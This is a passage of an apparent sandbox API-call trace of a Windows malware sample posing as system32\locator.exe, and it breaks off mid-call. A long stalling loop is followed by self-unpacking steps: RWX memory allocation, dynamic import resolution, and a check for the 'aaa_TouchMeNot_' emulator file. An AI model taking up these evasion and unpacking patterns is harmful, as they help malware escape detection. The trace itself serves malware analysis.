GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.512] GetFocus () returned 0x0 [0258.512] GetAsyncKeyState (vKey=58) returned 0 [0258.512] GetKBCodePage () returned 0x1b5 [0258.512] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.512] GetFocus () returned 0x0 [0258.512] GetAsyncKeyState (vKey=58) returned 0 [0258.512] GetKBCodePage () returned 0x1b5 [0258.512] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.512] GetFocus () returned 0x0 [0258.512] GetAsyncKeyState (vKey=58) returned 0 [0258.512] GetKBCodePage () returned 0x1b5 [0258.512] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.512] GetFocus () returned 0x0 [0258.512] GetAsyncKeyState (vKey=58) returned 0 [0258.512] GetKBCodePage () returned 0x1b5 [0258.512] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.512] GetFocus () returned 0x0 [0258.512] GetAsyncKeyState (vKey=58) returned 0 [0258.512] GetKBCodePage () returned 0x1b5 [0258.512] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.512] GetFocus () returned 0x0 [0258.512] GetAsyncKeyState (vKey=58) returned 0 [0258.512] GetKBCodePage () returned 0x1b5 [0258.512] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.513] GetFocus () returned 0x0 [0258.513] GetAsyncKeyState (vKey=58) returned 0 [0258.513] GetKBCodePage () returned 0x1b5 [0258.513] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.513] GetFocus () returned 0x0 [0258.513] GetAsyncKeyState (vKey=58) returned 0 [0258.513] GetKBCodePage () returned 0x1b5 [0258.513] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.513] GetFocus () returned 0x0 [0258.513] GetAsyncKeyState (vKey=58) returned 0 [0258.513] GetKBCodePage () returned 0x1b5 [0258.513] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.513] GetFocus () returned 0x0 [0258.513] GetAsyncKeyState (vKey=58) returned 0 [0258.513] GetKBCodePage () returned 0x1b5 [0258.513] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.513] GetFocus () returned 0x0 [0258.513] GetAsyncKeyState (vKey=58) returned 0 [0258.513] GetKBCodePage () returned 0x1b5 [0258.513] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.513] GetFocus () returned 0x0 [0258.513] GetAsyncKeyState (vKey=58) returned 0 [0258.513] GetKBCodePage () returned 0x1b5 [0258.513] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.513] GetFocus () returned 0x0 [0258.513] GetAsyncKeyState (vKey=58) returned 0 [0258.513] GetKBCodePage () returned 0x1b5 [0258.513] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.513] GetFocus () returned 0x0 [0258.513] GetAsyncKeyState (vKey=58) returned 0 [0258.513] GetKBCodePage () returned 0x1b5 [0258.513] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.513] GetFocus () returned 0x0 [0258.513] GetAsyncKeyState (vKey=58) returned 0 [0258.513] GetKBCodePage () returned 0x1b5 [0258.514] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.514] GetFocus () returned 0x0 [0258.514] GetAsyncKeyState (vKey=58) returned 0 [0258.514] GetKBCodePage () returned 0x1b5 [0258.514] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.514] GetFocus () returned 0x0 [0258.514] GetAsyncKeyState (vKey=58) returned 0 [0258.514] GetKBCodePage () returned 0x1b5 [0258.514] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.514] GetFocus () returned 0x0 [0258.514] GetAsyncKeyState (vKey=58) returned 0 [0258.514] GetKBCodePage () returned 0x1b5 [0258.514] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.514] GetFocus () returned 0x0 [0258.514] GetAsyncKeyState (vKey=58) returned 0 [0258.514] GetKBCodePage () returned 0x1b5 [0258.514] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.514] GetFocus () returned 0x0 [0258.514] GetAsyncKeyState (vKey=58) returned 0 [0258.514] GetKBCodePage () returned 0x1b5 [0258.514] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.514] GetFocus () returned 0x0 [0258.514] GetAsyncKeyState (vKey=58) returned 0 [0258.514] GetKBCodePage () returned 0x1b5 [0258.514] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.514] GetFocus () returned 0x0 [0258.514] GetAsyncKeyState (vKey=58) returned 0 [0258.514] GetKBCodePage () returned 0x1b5 [0258.514] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.514] GetFocus () returned 0x0 [0258.514] GetAsyncKeyState (vKey=58) returned 0 [0258.514] GetKBCodePage () returned 0x1b5 [0258.514] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.514] GetFocus () returned 0x0 [0258.514] GetAsyncKeyState (vKey=58) returned 0 [0258.514] GetKBCodePage () returned 0x1b5 [0258.515] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.515] GetFocus () returned 0x0 [0258.515] GetAsyncKeyState (vKey=58) returned 0 [0258.515] GetKBCodePage () returned 0x1b5 [0258.515] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.515] GetFocus () returned 0x0 [0258.515] GetAsyncKeyState (vKey=58) returned 0 [0258.515] GetKBCodePage () returned 0x1b5 [0258.515] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.515] GetFocus () returned 0x0 [0258.515] GetAsyncKeyState (vKey=58) returned 0 [0258.515] GetKBCodePage () returned 0x1b5 [0258.515] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.515] GetFocus () returned 0x0 [0258.515] GetAsyncKeyState (vKey=58) returned 0 [0258.515] GetKBCodePage () returned 0x1b5 [0258.515] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.515] GetFocus () returned 0x0 [0258.515] GetAsyncKeyState (vKey=58) returned 0 [0258.515] GetKBCodePage () returned 0x1b5 [0258.515] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.515] GetFocus () returned 0x0 [0258.515] GetAsyncKeyState (vKey=58) returned 0 [0258.515] GetKBCodePage () returned 0x1b5 [0258.515] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.515] GetFocus () returned 0x0 [0258.515] GetAsyncKeyState (vKey=58) returned 0 [0258.515] GetKBCodePage () returned 0x1b5 [0258.515] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.515] GetFocus () returned 0x0 [0258.515] GetAsyncKeyState (vKey=58) returned 0 [0258.515] GetKBCodePage () returned 0x1b5 [0258.515] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.515] GetFocus () returned 0x0 [0258.515] GetAsyncKeyState (vKey=58) returned 0 [0258.515] GetKBCodePage () returned 0x1b5 [0258.516] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.516] GetFocus () returned 0x0 [0258.516] GetAsyncKeyState (vKey=58) returned 0 [0258.516] GetKBCodePage () returned 0x1b5 [0258.516] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.516] GetFocus () returned 0x0 [0258.516] GetAsyncKeyState (vKey=58) returned 0 [0258.516] GetKBCodePage () returned 0x1b5 [0258.516] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.516] GetFocus () returned 0x0 [0258.516] GetAsyncKeyState (vKey=58) returned 0 [0258.516] GetKBCodePage () returned 0x1b5 [0258.516] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.516] GetFocus () returned 0x0 [0258.516] GetAsyncKeyState (vKey=58) returned 0 [0258.516] GetKBCodePage () returned 0x1b5 [0258.516] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.516] GetFocus () returned 0x0 [0258.516] GetAsyncKeyState (vKey=58) returned 0 [0258.516] GetKBCodePage () returned 0x1b5 [0258.516] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.516] GetFocus () returned 0x0 [0258.516] GetAsyncKeyState (vKey=58) returned 0 [0258.516] GetKBCodePage () returned 0x1b5 [0258.516] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.516] GetFocus () returned 0x0 [0258.516] GetAsyncKeyState (vKey=58) returned 0 [0258.516] GetKBCodePage () returned 0x1b5 [0258.516] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.516] GetFocus () returned 0x0 [0258.517] VarCyFromUI4 (in: ulIn=0xccaf3cc, pcyOut=0x18fef0 | out: pcyOut=0x18fef0) returned 0x0 [0258.517] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x18fa3c, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\locator.exe" (normalized: "c:\\windows\\system32\\locator.exe")) returned 0x1f [0258.517] Sleep (dwMilliseconds=0x94) [0258.674] LdrGetProcedureAddress (in: BaseAddress=0x769c0000, Name="VirtualAlloc", Ordinal=0x0, ProcedureAddress=0x18f9b0 | out: ProcedureAddress=0x18f9b0*=0x769d1856) returned 0x0 [0258.674] VirtualAlloc (lpAddress=0x0, dwSize=0x16100, flAllocationType=0x1000, flProtect=0x4) returned 0x250000 [0258.679] LdrGetProcedureAddress (in: BaseAddress=0x769c0000, Name="VirtualAlloc", Ordinal=0x0, ProcedureAddress=0x18fa50 | out: ProcedureAddress=0x18fa50*=0x769d1856) returned 0x0 [0258.679] VirtualAlloc (lpAddress=0x0, dwSize=0x6000, flAllocationType=0x1000, flProtect=0x40) returned 0x1c0000 [0258.680] LdrGetProcedureAddress (in: BaseAddress=0x769c0000, Name="LoadLibraryA", Ordinal=0x0, ProcedureAddress=0x18fa4c | out: ProcedureAddress=0x18fa4c*=0x769d49d7) returned 0x0 [0258.680] LdrGetProcedureAddress (in: BaseAddress=0x769c0000, Name="GetProcAddress", Ordinal=0x0, ProcedureAddress=0x18fa4c | out: ProcedureAddress=0x18fa4c*=0x769d1222) returned 0x0 [0258.680] LdrGetProcedureAddress (in: BaseAddress=0x769c0000, Name="VirtualAlloc", Ordinal=0x0, ProcedureAddress=0x18fa4c | out: ProcedureAddress=0x18fa4c*=0x769d1856) returned 0x0 [0258.680] LdrGetProcedureAddress (in: BaseAddress=0x769c0000, Name="VirtualProtect", Ordinal=0x0, ProcedureAddress=0x18fa4c | out: ProcedureAddress=0x18fa4c*=0x769d435f) returned 0x0 [0258.680] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x769c0000 [0258.681] GetProcAddress (hModule=0x769c0000, lpProcName="FlsFree") returned 0x769d359f [0258.681] GetProcAddress (hModule=0x769c0000, lpProcName="SetUnhandledExceptionFilter") returned 0x769d87c9 [0258.681] VirtualProtect (in: lpAddress=0x400000, dwSize=0x29000, flNewProtect=0x40, lpflOldProtect=0x18fae0 | out: lpflOldProtect=0x18fae0*=0x2) returned 1 [0258.686] VirtualAlloc (lpAddress=0x0, dwSize=0x18000, flAllocationType=0x1000, flProtect=0x40) returned 0x5c0000 [0258.689] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x769c0000 [0258.689] GetProcAddress (hModule=0x769c0000, lpProcName="CreateFileW") returned 0x769d3f5c [0258.689] GetProcAddress (hModule=0x769c0000, lpProcName="ExitProcess") returned 0x769d7a10 [0258.689] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x0) returned 0x0 [0259.430] CreateFileW (lpFileName="C:\\aaa_TouchMeNot_.txt" (normalized: "c:\\aaa_touchmenot_.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0259.439] RtlCreateHeap (Flags=0x2, HeapBase=0x0, ReserveSize=0x0, CommitSize=0x1234, Lock=0x0, Parameters=0x0) returned 0x8a0000 [0259.446] RtlAllocateHeap (HeapHandle=0x8a0000, Flags=0x8, Size=0x104) returned 0x8a07d0 [0259.446] RtlAllocateHeap (HeapHandle=0x8a0000, Flags=0x8, Size=0x80) returned 0x8a08e0 [0259.446] RtlAllocateHeap (HeapHandle=0x8a0000, Flags=0x8, Size=0x80) returned 0x8a0968 [0259.446] RtlAllocateHeap (HeapHandle=0x8a0000, Flags=0x8, Size=0x80) returned 0x8a09f0 [0259.446] RtlAllocateHeap (HeapHandle=0x8a0000, Flags=0x8, Size=0x80) returned 0x8a0a78 [0259.446] RtlAllocateHeap (HeapHandle=0x8a0000, Flags=0x8, Size=0x80) returned 0x8a0b00 [0259.446] RtlAllocateHeap (HeapHandle=0x8a0000, Flags=0x8, Size=0x80) returned 0x8a0b88 [0259.446] RtlAllocateHeap (HeapHandle=0x8a0000, Flags=0x8, Size=0x80) returned 0x8a0c10 [0259.446] RtlAllocateHeap (HeapHandle=0x8a0000, Flags=0x8, Size=0x80) returned 0x8a0c98 [0259.446] RtlAllocateHeap (HeapHandle=0x8a0000, Flags=0x8, Size=0x80) returned 0x8a0d20 [0259.446] RtlAllocateHeap (HeapHandle=0x8a0000, Flags=0x8, Size=0x80) returned 0x8a0da8 [0259.446] RtlAllocateHeap (HeapHandle=0x8a0000, Flags=0x8, Size=0x80) returned 0x8a0e30 [0259.446] RtlAllocateHeap (HeapHandle=0x8a0000, Flags=0x8, Size=0x80) returned 0x8a0eb8 [0259.447] RtlAllocateHeap (HeapHandle=0x8a0000, Flags=0x8, Size=0x80) returned 0x8a0f40 [0259.447] RtlAllocateHeap (HeapHandle=0x8a0000, Flags=0x8, Size=0x80) returned 0x8a0fc8 [0259.447] RtlAllocateHeap (HeapHandle=0x8a0000, Flags=0x8, Size=0x80) returned 0x8a1050 [0259.447] RtlAllocateHeap (HeapHandle=0x8a0000, Flags=0x8, Size=0x80) returned 0x8a10d8 [0259.447] RtlAllocateHeap (HeapHandle=0x8a0000, Flags=0x8, Size=0x400) returned 0x8a1160 [0259.447] RtlCreateHeap (Flags=0x2, HeapBase=0x0, ReserveSize=0x0, CommitSize=0x1234, Lock=0x0, Parameters=0x0) returned 0x8e0000 [0259.447] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x80) returned 0x8e07d0 [0259.447] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x80) returned 0x8e0858 [0259.447] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x80) returned 0x8e08e0 [0259.447] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x184) returned 0x8e0968 [0259.447] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8e0af8 [0259.447] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8e0b40 [0259.447] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8e0b88 [0259.447] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8e0bd0 [0259.447] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 